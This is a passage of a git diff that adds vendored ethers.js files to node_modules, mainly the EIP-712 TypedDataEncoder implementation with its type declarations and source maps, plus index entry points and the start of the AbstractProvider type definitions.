for %%types%%. + */ + static from(types: Record>): TypedDataEncoder; + /** + * Return the primary type for %%types%%. + */ + static getPrimaryType(types: Record>): string; + /** + * Return the hashed struct for %%value%% using %%types%% and %%name%%. + */ + static hashStruct(name: string, types: Record>, value: Record): string; + /** + * Return the domain hash for %%domain%%. + */ + static hashDomain(domain: TypedDataDomain): string; + /** + * Return the fully encoded [[link-eip-712]] %%value%% for %%types%% with %%domain%%. + */ + static encode(domain: TypedDataDomain, types: Record>, value: Record): string; + /** + * Return the hash of the fully encoded [[link-eip-712]] %%value%% for %%types%% with %%domain%%. + */ + static hash(domain: TypedDataDomain, types: Record>, value: Record): string; + /** + * Resolves to the value from resolving all addresses in %%value%% for + * %%types%% and the %%domain%%. + */ + static resolveNames(domain: TypedDataDomain, types: Record>, value: Record, resolveName: (name: string) => Promise): Promise<{ + domain: TypedDataDomain; + value: any; + }>; + /** + * Returns the JSON-encoded payload expected by nodes which implement + * the JSON-RPC [[link-eip-712]] method. + */ + static getPayload(domain: TypedDataDomain, types: Record>, value: Record): any; +} +/** + * Compute the address used to sign the typed data for the %%signature%%. + */ +export declare function verifyTypedData(domain: TypedDataDomain, types: Record>, value: Record, signature: SignatureLike): string; +//# sourceMappingURL=typed-data.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/hash/typed-data.d.ts.map b/node_modules/ethers/lib.commonjs/hash/typed-data.d.ts.map new file mode 100644 index 000000000000..dee917818460 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/hash/typed-data.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"typed-data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AC,cAAc,CAAC,CAAC,EAAE,KAAK,EAAE,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,GAAG,MAAM;IAQxH;;OAEG;IACH,MAAM,CAAC,IAAI,CAAC,MAAM,EAAE,eAAe,EAAE,KAAK,EAAE,MAAM,CAAC,MAAM,EAAE,KAAK,CAAC,cAAc,CAAC,CAAC,EAAE,KAAK,EAAE,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,GAAG,MAAM;IAKtH;;;OAGG;WACU,YAAY,CAAC,MAAM,EAAE,eAAe,EAAE,KAAK,EAAE,MAAM,CAAC,MAAM,EAAE,KAAK,CAAC,cAAc,CAAC,CAAC,EAAE,KAAK,EAAE,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,EAAE,WAAW,EAAE,CAAC,IAAI,EAAE,MAAM,KAAK,OAAO,CAAC,MAAM,CAAC,GAAG,OAAO,CAAC;QAAE,MAAM,EAAE,eAAe,CAAC;QAAC,KAAK,EAAE,GAAG,CAAA;KAAE,CAAC;IAiD9N;;;OAGG;IACH,MAAM,CAAC,UAAU,CAAC,MAAM,EAAE,eAAe,EAAE,KAAK,EAAE,MAAM,CAAC,MAAM,EAAE,KAAK,CAAC,cAAc,CAAC,CAAC,EAAE,KAAK,EAAE,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,GAAG,GAAG;CA0D5H;AAED;;GAEG;AACH,wBAAgB,eAAe,CAAC,MAAM,EAAE,eAAe,EAAE,KAAK,EAAE,MAAM,CAAC,MAAM,EAAE,KAAK,CAAC,cAAc,CAAC,CAAC,EAAE,KAAK,EAAE,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,EAAE,SAAS,EAAE,aAAa,GAAG,MAAM,CAEnK"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/hash/typed-data.js b/node_modules/ethers/lib.commonjs/hash/typed-data.js new file mode 100644 index 000000000000..b9daad1de5b7 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/hash/typed-data.js @@ -0,0 +1,524 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.verifyTypedData = exports.TypedDataEncoder = void 0; +//import { TypedDataDomain, TypedDataField } from "@ethersproject/providerabstract-signer"; +const index_js_1 = require("../address/index.js"); +const index_js_2 = require("../crypto/index.js"); +const index_js_3 = require("../transaction/index.js"); +const index_js_4 = require("../utils/index.js"); +const id_js_1 = require("./id.js"); +const padding = new Uint8Array(32); +padding.fill(0); +const BN__1 = BigInt(-1); +const BN_0 = BigInt(0); +const BN_1 = BigInt(1); +const BN_MAX_UINT256 = BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); +; +; +function hexPadRight(value) { + const bytes = (0, index_js_4.getBytes)(value); + const padOffset = bytes.length % 32; + if (padOffset) { + return (0, index_js_4.concat)([bytes, padding.slice(padOffset)]); + } + return (0, index_js_4.hexlify)(bytes); +} +const hexTrue = (0, index_js_4.toBeHex)(BN_1, 32); +const hexFalse = (0, index_js_4.toBeHex)(BN_0, 32); +const domainFieldTypes = { + name: "string", + version: "string", + chainId: "uint256", + verifyingContract: "address", + salt: "bytes32" +}; +const domainFieldNames = [ + "name", "version", "chainId", "verifyingContract", "salt" +]; +function checkString(key) { + return function (value) { + (0, index_js_4.assertArgument)(typeof (value) === "string", `invalid domain value for ${JSON.stringify(key)}`, `domain.${key}`, value); + return value; + }; +} +const domainChecks = { + name: checkString("name"), + version: checkString("version"), + chainId: function (_value) { + const value = (0, index_js_4.getBigInt)(_value, "domain.chainId"); + (0, index_js_4.assertArgument)(value >= 0, "invalid chain ID", "domain.chainId", _value); + if (Number.isSafeInteger(value)) { + return Number(value); + } + return (0, index_js_4.toQuantity)(value); + }, + verifyingContract: function (value) { + try { + return (0, index_js_1.getAddress)(value).toLowerCase(); + } + catch (error) { } + (0, index_js_4.assertArgument)(false, `invalid domain value "verifyingContract"`, "domain.verifyingContract", value); + }, + salt: function (value) { + const bytes = (0, index_js_4.getBytes)(value, "domain.salt"); + (0, index_js_4.assertArgument)(bytes.length === 32, `invalid domain value "salt"`, "domain.salt", value); + return (0, index_js_4.hexlify)(bytes); + } +}; +function getBaseEncoder(type) { + // intXX and uintXX + { + const match = type.match(/^(u?)int(\d+)$/); + if (match) { + const signed = (match[1] === ""); + const width = parseInt(match[2]); + (0, index_js_4.assertArgument)(width % 8 === 0 && width !== 0 && width <= 256 && match[2] === String(width), "invalid numeric width", "type", type); + const boundsUpper = (0, index_js_4.mask)(BN_MAX_UINT256, signed ? (width - 1) : width); + const boundsLower = signed ? ((boundsUpper + BN_1) * BN__1) : BN_0; + return function (_value) { + const value = (0, index_js_4.getBigInt)(_value, "value"); + (0, index_js_4.assertArgument)(value >= boundsLower && value <= boundsUpper, `value out-of-bounds for ${type}`, "value", value); + return (0, index_js_4.toBeHex)(signed ? (0, index_js_4.toTwos)(value, 256) : value, 32); + }; + } + } + // bytesXX + { + const match = type.match(/^bytes(\d+)$/); + if (match) { + const width = parseInt(match[1]); + (0, index_js_4.assertArgument)(width !== 0 && width <= 32 && match[1] === String(width), "invalid bytes width", "type", type); + return function (value) { + const bytes = (0, index_js_4.getBytes)(value); + (0, index_js_4.assertArgument)(bytes.length === width, `invalid length for ${type}`, "value", value); + return hexPadRight(value); + }; + } + } + switch (type) { + case "address": return function (value) { + return (0, index_js_4.zeroPadValue)((0, index_js_1.getAddress)(value), 32); + }; + case "bool": return function (value) { + return ((!value) ? hexFalse : hexTrue); + }; + case "bytes": return function (value) { + return (0, index_js_2.keccak256)(value); + }; + case "string": return function (value) { + return (0, id_js_1.id)(value); + }; + } + return null; +} +function encodeType(name, fields) { + return `${name}(${fields.map(({ name, type }) => (type + " " + name)).join(",")})`; +} +// foo[][3] => { base: "foo", index: "[][3]", array: { +// base: "foo", prefix: "foo[]", count: 3 } } +function splitArray(type) { + const match = type.match(/^([^\x5b]*)((\x5b\d*\x5d)*)(\x5b(\d*)\x5d)$/); + if (match) { + return { + base: match[1], + index: (match[2] + match[4]), + array: { + base: match[1], + prefix: (match[1] + match[2]), + count: (match[5] ? parseInt(match[5]) : -1), + } + }; + } + return { base: type }; +} +/** + * A **TypedDataEncode** prepares and encodes [[link-eip-712]] payloads + * for signed typed data. + * + * This is useful for those that wish to compute various components of a + * typed data hash, primary types, or sub-components, but generally the + * higher level [[Signer-signTypedData]] is more useful. + */ +class TypedDataEncoder { + /** + * The primary type for the structured [[types]]. + * + * This is derived automatically from the [[types]], since no + * recursion is possible, once the DAG for the types is consturcted + * internally, the primary type must be the only remaining type with + * no parent nodes. + */ + primaryType; + #types; + /** + * The types. + */ + get types() { + return JSON.parse(this.#types); + } + #fullTypes; + #encoderCache; + /** + * Create a new **TypedDataEncoder** for %%types%%. + * + * This performs all necessary checking that types are valid and + * do not violate the [[link-eip-712]] structural constraints as + * well as computes the [[primaryType]]. + */ + constructor(_types) { + this.#fullTypes = new Map(); + this.#encoderCache = new Map(); + // Link struct types to their direct child structs + const links = new Map(); + // Link structs to structs which contain them as a child + const parents = new Map(); + // Link all subtypes within a given struct + const subtypes = new Map(); + const types = {}; + Object.keys(_types).forEach((type) => { + types[type] = _types[type].map(({ name, type }) => { + // Normalize the base type (unless name conflict) + let { base, index } = splitArray(type); + if (base === "int" && !_types["int"]) { + base = "int256"; + } + if (base === "uint" && !_types["uint"]) { + base = "uint256"; + } + return { name, type: (base + (index || "")) }; + }); + links.set(type, new Set()); + parents.set(type, []); + subtypes.set(type, new Set()); + }); + this.#types = JSON.stringify(types); + for (const name in types) { + const uniqueNames = new Set(); + for (const field of types[name]) { + // Check each field has a unique name + (0, index_js_4.assertArgument)(!uniqueNames.has(field.name), `duplicate variable name ${JSON.stringify(field.name)} in ${JSON.stringify(name)}`, "types", _types); + uniqueNames.add(field.name); + // Get the base type (drop any array specifiers) + const baseType = splitArray(field.type).base; + (0, index_js_4.assertArgument)(baseType !== name, `circular type reference to ${JSON.stringify(baseType)}`, "types", _types); + // Is this a base encoding type? + const encoder = getBaseEncoder(baseType); + if (encoder) { + continue; + } + (0, index_js_4.assertArgument)(parents.has(baseType), `unknown type ${JSON.stringify(baseType)}`, "types", _types); + // Add linkage + parents.get(baseType).push(name); + links.get(name).add(baseType); + } + } + // Deduce the primary type + const primaryTypes = Array.from(parents.keys()).filter((n) => (parents.get(n).length === 0)); + (0, index_js_4.assertArgument)(primaryTypes.length !== 0, "missing primary type", "types", _types); + (0, index_js_4.assertArgument)(primaryTypes.length === 1, `ambiguous primary types or unused types: ${primaryTypes.map((t) => (JSON.stringify(t))).join(", ")}`, "types", _types); + (0, index_js_4.defineProperties)(this, { primaryType: primaryTypes[0] }); + // Check for circular type references + function checkCircular(type, found) { + (0, index_js_4.assertArgument)(!found.has(type), `circular type reference to ${JSON.stringify(type)}`, "types", _types); + found.add(type); + for (const child of links.get(type)) { + if (!parents.has(child)) { + continue; + } + // Recursively check children + checkCircular(child, found); + // Mark all ancestors as having this decendant + for (const subtype of found) { + subtypes.get(subtype).add(child); + } + } + found.delete(type); + } + checkCircular(this.primaryType, new Set()); + // Compute each fully describe type + for (const [name, set] of subtypes) { + const st = Array.from(set); + st.sort(); + this.#fullTypes.set(name, encodeType(name, types[name]) + st.map((t) => encodeType(t, types[t])).join("")); + } + } + /** + * Returnthe encoder for the specific %%type%%. + */ + getEncoder(type) { + let encoder = this.#encoderCache.get(type); + if (!encoder) { + encoder = this.#getEncoder(type); + this.#encoderCache.set(type, encoder); + } + return encoder; + } + #getEncoder(type) { + // Basic encoder type (address, bool, uint256, etc) + { + const encoder = getBaseEncoder(type); + if (encoder) { + return encoder; + } + } + // Array + const array = splitArray(type).array; + if (array) { + const subtype = array.prefix; + const subEncoder = this.getEncoder(subtype); + return (value) => { + (0, index_js_4.assertArgument)(array.count === -1 || array.count === value.length, `array length mismatch; expected length ${array.count}`, "value", value); + let result = value.map(subEncoder); + if (this.#fullTypes.has(subtype)) { + result = result.map(index_js_2.keccak256); + } + return (0, index_js_2.keccak256)((0, index_js_4.concat)(result)); + }; + } + // Struct + const fields = this.types[type]; + if (fields) { + const encodedType = (0, id_js_1.id)(this.#fullTypes.get(type)); + return (value) => { + const values = fields.map(({ name, type }) => { + const result = this.getEncoder(type)(value[name]); + if (this.#fullTypes.has(type)) { + return (0, index_js_2.keccak256)(result); + } + return result; + }); + values.unshift(encodedType); + return (0, index_js_4.concat)(values); + }; + } + (0, index_js_4.assertArgument)(false, `unknown type: ${type}`, "type", type); + } + /** + * Return the full type for %%name%%. + */ + encodeType(name) { + const result = this.#fullTypes.get(name); + (0, index_js_4.assertArgument)(result, `unknown type: ${JSON.stringify(name)}`, "name", name); + return result; + } + /** + * Return the encoded %%value%% for the %%type%%. + */ + encodeData(type, value) { + return this.getEncoder(type)(value); + } + /** + * Returns the hash of %%value%% for the type of %%name%%. + */ + hashStruct(name, value) { + return (0, index_js_2.keccak256)(this.encodeData(name, value)); + } + /** + * Return the fulled encoded %%value%% for the [[types]]. + */ + encode(value) { + return this.encodeData(this.primaryType, value); + } + /** + * Return the hash of the fully encoded %%value%% for the [[types]]. + */ + hash(value) { + return this.hashStruct(this.primaryType, value); + } + /** + * @_ignore: + */ + _visit(type, value, callback) { + // Basic encoder type (address, bool, uint256, etc) + { + const encoder = getBaseEncoder(type); + if (encoder) { + return callback(type, value); + } + } + // Array + const array = splitArray(type).array; + if (array) { + (0, index_js_4.assertArgument)(array.count === -1 || array.count === value.length, `array length mismatch; expected length ${array.count}`, "value", value); + return value.map((v) => this._visit(array.prefix, v, callback)); + } + // Struct + const fields = this.types[type]; + if (fields) { + return fields.reduce((accum, { name, type }) => { + accum[name] = this._visit(type, value[name], callback); + return accum; + }, {}); + } + (0, index_js_4.assertArgument)(false, `unknown type: ${type}`, "type", type); + } + /** + * Call %%calback%% for each value in %%value%%, passing the type and + * component within %%value%%. + * + * This is useful for replacing addresses or other transformation that + * may be desired on each component, based on its type. + */ + visit(value, callback) { + return this._visit(this.primaryType, value, callback); + } + /** + * Create a new **TypedDataEncoder** for %%types%%. + */ + static from(types) { + return new TypedDataEncoder(types); + } + /** + * Return the primary type for %%types%%. + */ + static getPrimaryType(types) { + return TypedDataEncoder.from(types).primaryType; + } + /** + * Return the hashed struct for %%value%% using %%types%% and %%name%%. + */ + static hashStruct(name, types, value) { + return TypedDataEncoder.from(types).hashStruct(name, value); + } + /** + * Return the domain hash for %%domain%%. + */ + static hashDomain(domain) { + const domainFields = []; + for (const name in domain) { + if (domain[name] == null) { + continue; + } + const type = domainFieldTypes[name]; + (0, index_js_4.assertArgument)(type, `invalid typed-data domain key: ${JSON.stringify(name)}`, "domain", domain); + domainFields.push({ name, type }); + } + domainFields.sort((a, b) => { + return domainFieldNames.indexOf(a.name) - domainFieldNames.indexOf(b.name); + }); + return TypedDataEncoder.hashStruct("EIP712Domain", { EIP712Domain: domainFields }, domain); + } + /** + * Return the fully encoded [[link-eip-712]] %%value%% for %%types%% with %%domain%%. + */ + static encode(domain, types, value) { + return (0, index_js_4.concat)([ + "0x1901", + TypedDataEncoder.hashDomain(domain), + TypedDataEncoder.from(types).hash(value) + ]); + } + /** + * Return the hash of the fully encoded [[link-eip-712]] %%value%% for %%types%% with %%domain%%. + */ + static hash(domain, types, value) { + return (0, index_js_2.keccak256)(TypedDataEncoder.encode(domain, types, value)); + } + // Replaces all address types with ENS names with their looked up address + /** + * Resolves to the value from resolving all addresses in %%value%% for + * %%types%% and the %%domain%%. + */ + static async resolveNames(domain, types, value, resolveName) { + // Make a copy to isolate it from the object passed in + domain = Object.assign({}, domain); + // Allow passing null to ignore value + for (const key in domain) { + if (domain[key] == null) { + delete domain[key]; + } + } + // Look up all ENS names + const ensCache = {}; + // Do we need to look up the domain's verifyingContract? + if (domain.verifyingContract && !(0, index_js_4.isHexString)(domain.verifyingContract, 20)) { + ensCache[domain.verifyingContract] = "0x"; + } + // We are going to use the encoder to visit all the base values + const encoder = TypedDataEncoder.from(types); + // Get a list of all the addresses + encoder.visit(value, (type, value) => { + if (type === "address" && !(0, index_js_4.isHexString)(value, 20)) { + ensCache[value] = "0x"; + } + return value; + }); + // Lookup each name + for (const name in ensCache) { + ensCache[name] = await resolveName(name); + } + // Replace the domain verifyingContract if needed + if (domain.verifyingContract && ensCache[domain.verifyingContract]) { + domain.verifyingContract = ensCache[domain.verifyingContract]; + } + // Replace all ENS names with their address + value = encoder.visit(value, (type, value) => { + if (type === "address" && ensCache[value]) { + return ensCache[value]; + } + return value; + }); + return { domain, value }; + } + /** + * Returns the JSON-encoded payload expected by nodes which implement + * the JSON-RPC [[link-eip-712]] method. + */ + static getPayload(domain, types, value) { + // Validate the domain fields + TypedDataEncoder.hashDomain(domain); + // Derive the EIP712Domain Struct reference type + const domainValues = {}; + const domainTypes = []; + domainFieldNames.forEach((name) => { + const value = domain[name]; + if (value == null) { + return; + } + domainValues[name] = domainChecks[name](value); + domainTypes.push({ name, type: domainFieldTypes[name] }); + }); + const encoder = TypedDataEncoder.from(types); + // Get the normalized types + types = encoder.types; + const typesWithDomain = Object.assign({}, types); + (0, index_js_4.assertArgument)(typesWithDomain.EIP712Domain == null, "types must not contain EIP712Domain type", "types.EIP712Domain", types); + typesWithDomain.EIP712Domain = domainTypes; + // Validate the data structures and types + encoder.encode(value); + return { + types: typesWithDomain, + domain: domainValues, + primaryType: encoder.primaryType, + message: encoder.visit(value, (type, value) => { + // bytes + if (type.match(/^bytes(\d*)/)) { + return (0, index_js_4.hexlify)((0, index_js_4.getBytes)(value)); + } + // uint or int + if (type.match(/^u?int/)) { + return (0, index_js_4.getBigInt)(value).toString(); + } + switch (type) { + case "address": + return value.toLowerCase(); + case "bool": + return !!value; + case "string": + (0, index_js_4.assertArgument)(typeof (value) === "string", "invalid string", "value", value); + return value; + } + (0, index_js_4.assertArgument)(false, "unsupported type", "type", type); + }) + }; + } +} +exports.TypedDataEncoder = TypedDataEncoder; +/** + * Compute the address used to sign the typed data for the %%signature%%. + */ +function verifyTypedData(domain, types, value, signature) { + return (0, index_js_3.recoverAddress)(TypedDataEncoder.hash(domain, types, value), signature); +} +exports.verifyTypedData = verifyTypedData; +//# sourceMappingURL=typed-data.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/hash/typed-data.js.map b/node_modules/ethers/lib.commonjs/hash/typed-data.js.map new file mode 100644 index 000000000000..7da76baf963a --- /dev/null +++ b/node_modules/ethers/lib.commonjs/hash/typed-data.js.map @@ -0,0 +1 @@ +{"version":3,"file":"typed-data.js","sourceRoot":"","sources":["../../src.ts/hash/typed-data.ts"],"names":[],"mappings":";;;AAAA,2FAA2F;AAC3F,kDAAiD;AACjD,iDAA+C;AAC/C,sDAAyD;AACzD,gDAG2B;AAE3B,mCAA6B;AAM7B,MAAM,OAAO,GAAG,IAAI,UAAU,CAAC,EAAE,CAAC,CAAC;AACnC,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;AAEhB,MAAM,KAAK,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC,CAAC;AACzB,MAAM,IAAI,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACvB,MAAM,IAAI,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACvB,MAAM,cAAc,GAAG,MAAM,CAAC,oEAAoE,CAAC,CAAC;AAgCnG,CAAC;AAeD,CAAC;AAEF,SAAS,WAAW,CAAC,KAAgB;IACjC,MAAM,KAAK,GAAG,IAAA,mBAAQ,EAAC,KAAK,CAAC,CAAC;IAC9B,MAAM,SAAS,GAAG,KAAK,CAAC,MAAM,GAAG,EAAE,CAAA;IACnC,IAAI,SAAS,EAAE;QACX,OAAO,IAAA,iBAAM,EAAC,CAAE,KAAK,EAAE,OAAO,CAAC,KAAK,CAAC,SAAS,CAAC,CAAE,CAAC,CAAC;KACtD;IACD,OAAO,IAAA,kBAAO,EAAC,KAAK,CAAC,CAAC;AAC1B,CAAC;AAED,MAAM,OAAO,GAAG,IAAA,kBAAO,EAAC,IAAI,EAAE,EAAE,CAAC,CAAC;AAClC,MAAM,QAAQ,GAAG,IAAA,kBAAO,EAAC,IAAI,EAAE,EAAE,CAAC,CAAC;AAEnC,MAAM,gBAAgB,GAA2B;IAC7C,IAAI,EAAE,QAAQ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AED,cAAc;gBACd,IAAI,IAAI,CAAC,KAAK,CAAC,QAAQ,CAAC,EAAE;oBACtB,OAAO,IAAA,oBAAS,EAAC,KAAK,CAAC,CAAC,QAAQ,EAAE,CAAC;iBACtC;gBAED,QAAQ,IAAI,EAAE;oBACV,KAAK,SAAS;wBACV,OAAO,KAAK,CAAC,WAAW,EAAE,CAAC;oBAC/B,KAAK,MAAM;wBACP,OAAO,CAAC,CAAC,KAAK,CAAC;oBACnB,KAAK,QAAQ;wBACT,IAAA,yBAAc,EAAC,OAAM,CAAC,KAAK,CAAC,KAAK,QAAQ,EAAE,gBAAgB,EAAE,OAAO,EAAE,KAAK,CAAC,CAAC;wBAC7E,OAAO,KAAK,CAAC;iBACpB;gBAED,IAAA,yBAAc,EAAC,KAAK,EAAE,kBAAkB,EAAE,MAAM,EAAE,IAAI,CAAC,CAAC;YAC5D,CAAC,CAAC;SACL,CAAC;IACN,CAAC;CACJ;AA9aD,4CA8aC;AAED;;GAEG;AACH,SAAgB,eAAe,CAAC,MAAuB,EAAE,KAA4C,EAAE,KAA0B,EAAE,SAAwB;IACvJ,OAAO,IAAA,yBAAc,EAAC,gBAAgB,CAAC,IAAI,CAAC,MAAM,EAAE,KAAK,EAAE,KAAK,CAAC,EAAE,SAAS,CAAC,CAAC;AAClF,CAAC;AAFD,0CAEC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/index.d.ts b/node_modules/ethers/lib.commonjs/index.d.ts new file mode 100644 index 000000000000..558c263ff99c --- /dev/null +++ b/node_modules/ethers/lib.commonjs/index.d.ts @@ -0,0 +1,11 @@ +/** + * The Application Programming Interface (API) is the collection of + * functions, classes and types offered by the Ethers library. + * + * @_section: api:Application Programming Interface [about-api] + * @_navTitle: API + */ +import * as ethers from "./ethers.js"; +export { ethers }; +export * from "./ethers.js"; +//# sourceMappingURL=index.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/index.d.ts.map b/node_modules/ethers/lib.commonjs/index.d.ts.map new file mode 100644 index 000000000000..2334d69a9707 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/index.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src.ts/index.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AACH,OAAO,KAAK,MAAM,MAAM,aAAa,CAAC;AAEtC,OAAO,EAAE,MAAM,EAAE,CAAC;AAElB,cAAc,aAAa,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/index.js b/node_modules/ethers/lib.commonjs/index.js new file mode 100644 index 000000000000..672d61fac9f6 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/index.js @@ -0,0 +1,15 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.ethers = void 0; +const tslib_1 = require("tslib"); +/** + * The Application Programming Interface (API) is the collection of + * functions, classes and types offered by the Ethers library. + * + * @_section: api:Application Programming Interface [about-api] + * @_navTitle: API + */ +const ethers = tslib_1.__importStar(require("./ethers.js")); +exports.ethers = ethers; +tslib_1.__exportStar(require("./ethers.js"), exports); +//# sourceMappingURL=index.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/index.js.map b/node_modules/ethers/lib.commonjs/index.js.map new file mode 100644 index 000000000000..51e9bfec448e --- /dev/null +++ b/node_modules/ethers/lib.commonjs/index.js.map @@ -0,0 +1 @@ +{"version":3,"file":"index.js","sourceRoot":"","sources":["../src.ts/index.ts"],"names":[],"mappings":";;;;AAAA;;;;;;GAMG;AACH,4DAAsC;AAE7B,wBAAM;AAEf,sDAA4B"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/package.json b/node_modules/ethers/lib.commonjs/package.json new file mode 100644 index 000000000000..0e2116858bc7 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/package.json @@ -0,0 +1,12 @@ +{ + "browser": { + "./crypto/crypto.js": "./crypto/crypto-browser.js", + "./providers/provider-ipcsocket.js": "./providers/provider-ipcsocket-browser.js", + "./providers/ws.js": "./providers/ws-browser.js", + "./utils/base64.js": "./utils/base64-browser.js", + "./utils/geturl.js": "./utils/geturl-browser.js", + "./wordlists/wordlists.js": "./wordlists/wordlists-browser.js" + }, + "sideEffects": false, + "type": "commonjs" +} diff --git a/node_modules/ethers/lib.commonjs/providers/abstract-provider.d.ts b/node_modules/ethers/lib.commonjs/providers/abstract-provider.d.ts new file mode 100644 index 000000000000..50659206d495 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/abstract-provider.d.ts @@ -0,0 +1,451 @@ +/** + * The available providers should suffice for most developers purposes, + * but the [[AbstractProvider]] class has many features which enable + * sub-classing it for specific purposes. + * + * @_section: api/providers/abstract-provider: Subclassing Provider [abstract-provider] + */ +import { FetchRequest } from "../utils/index.js"; +import { EnsResolver } from "./ens-resolver.js"; +import { Network } from "./network.js"; +import { Block, FeeData, Log, TransactionReceipt, TransactionResponse } from "./provider.js"; +import type { AddressLike } from "../address/index.js"; +import type { BigNumberish } from "../utils/index.js"; +import type { Listener } from "../utils/index.js"; +import type { Networkish } from "./network.js"; +import type { BlockParams, LogParams, TransactionReceiptParams, TransactionResponseParams } from "./formatting.js"; +import type { BlockTag, EventFilter, Filter, FilterByBlockHash, OrphanFilter, PreparedTransactionRequest, Provider, ProviderEvent, TransactionRequest } from "./provider.js"; +/** + * The types of additional event values that can be emitted for the + * ``"debug"`` event. + */ +export type DebugEventAbstractProvider = { + action: "sendCcipReadFetchRequest"; + request: FetchRequest; + index: number; + urls: Array; +} | { + action: "receiveCcipReadFetchResult"; + request: FetchRequest; + result: any; +} | { + action: "receiveCcipReadFetchError"; + request: FetchRequest; + result: any; +} | { + action: "sendCcipReadCall"; + transaction: { + to: string; + data: string; + }; +} | { + action: "receiveCcipReadCallResult"; + transaction: { + to: string; + data: string; + }; + result: string; +} | { + action: "receiveCcipReadCallError"; + transaction: { + to: string; + data: string; + }; + error: Error; +}; +/** + * The value passed to the [[AbstractProvider-_getSubscriber]] method. + * + * Only developers sub-classing [[AbstractProvider[[ will care about this, + * if they are modifying a low-level feature of how subscriptions operate. + */ +export type Subscription = { + type: "block" | "close" | "debug" | "error" | "finalized" | "network" | "pending" | "safe"; + tag: string; +} | { + type: "transaction"; + tag: string; + hash: string; +} | { + type: "event"; + tag: string; + filter: EventFilter; +} | { + type: "orphan"; + tag: string; + filter: OrphanFilter; +}; +/** + * A **Subscriber** manages a subscription. + * + * Only developers sub-classing [[AbstractProvider[[ will care about this, + * if they are modifying a low-level feature of how subscriptions operate. + */ +export interface Subscriber { + /** + * Called initially when a subscriber is added the first time. + */ + start(): void; + /** + * Called when there are no more subscribers to the event. + */ + stop(): void; + /** + * Called when the subscription should pause. + * + * If %%dropWhilePaused%%, events that occur while paused should not + * be emitted [[resume]]. + */ + pause(dropWhilePaused?: boolean): void; + /** + * Resume a paused subscriber. + */ + resume(): void; + /** + * The frequency (in ms) to poll for events, if polling is used by + * the subscriber. + * + * For non-polling subscribers, this must return ``undefined``. + */ + pollingInterval?: number; +} +/** + * An **UnmanagedSubscriber** is useful for events which do not require + * any additional management, such as ``"debug"`` which only requires + * emit in synchronous event loop triggered calls. + */ +export declare class UnmanagedSubscriber implements Subscriber { + /** + * The name fof the event. + */ + name: string; + /** + * Create a new UnmanagedSubscriber with %%name%%. + */ + constructor(name: string); + start(): void; + stop(): void; + pause(dropWhilePaused?: boolean): void; + resume(): void; +} +/** + * An **AbstractPlugin** is used to provide additional internal services + * to an [[AbstractProvider]] without adding backwards-incompatible changes + * to method signatures or other internal and complex logic. + */ +export interface AbstractProviderPlugin { + /** + * The reverse domain notation of the plugin. + */ + readonly name: string; + /** + * Creates a new instance of the plugin, connected to %%provider%%. + */ + connect(provider: AbstractProvider): AbstractProviderPlugin; +} +/** + * A normalized filter used for [[PerformActionRequest]] objects. + */ +export type PerformActionFilter = { + address?: string | Array; + topics?: Array>; + fromBlock?: BlockTag; + toBlock?: BlockTag; +} | { + address?: string | Array; + topics?: Array>; + blockHash?: string; +}; +/** + * A normalized transactions used for [[PerformActionRequest]] objects. + */ +export interface PerformActionTransaction extends PreparedTransactionRequest { + /** + * The ``to`` address of the transaction. + */ + to?: string; + /** + * The sender of the transaction. + */ + from?: string; +} +/** + * The [[AbstractProvider]] methods will normalize all values and pass this + * type to [[AbstractProvider-_perform]]. + */ +export type PerformActionRequest = { + method: "broadcastTransaction"; + signedTransaction: string; +} | { + method: "call"; + transaction: PerformActionTransaction; + blockTag: BlockTag; +} | { + method: "chainId"; +} | { + method: "estimateGas"; + transaction: PerformActionTransaction; +} | { + method: "getBalance"; + address: string; + blockTag: BlockTag; +} | { + method: "getBlock"; + blockTag: BlockTag; + includeTransactions: boolean; +} | { + method: "getBlock"; + blockHash: string; + includeTransactions: boolean; +} | { + method: "getBlockNumber"; +} | { + method: "getCode"; + address: string; + blockTag: BlockTag; +} | { + method: "getGasPrice"; +} | { + method: "getLogs"; + filter: PerformActionFilter; +} | { + method: "getPriorityFee"; +} | { + method: "getStorage"; + address: string; + position: bigint; + blockTag: BlockTag; +} | { + method: "getTransaction"; + hash: string; +} | { + method: "getTransactionCount"; + address: string; + blockTag: BlockTag; +} | { + method: "getTransactionReceipt"; + hash: string; +} | { + method: "getTransactionResult"; + hash: string; +}; +/** + * Options for configuring some internal aspects of an [[AbstractProvider]]. + * + * **``cacheTimeout``** - how long to cache a low-level ``_perform`` + * for, based on input parameters. This reduces the number of calls + * to getChainId and getBlockNumber, but may break test chains which + * can perform operations (internally) synchronously. Use ``-1`` to + * disable, ``0`` will only buffer within the same event loop and + * any other value is in ms. (default: ``250``) + */ +export type AbstractProviderOptions = { + cacheTimeout?: number; + pollingInterval?: number; +}; +/** + * An **AbstractProvider** provides a base class for other sub-classes to + * implement the [[Provider]] API by normalizing input 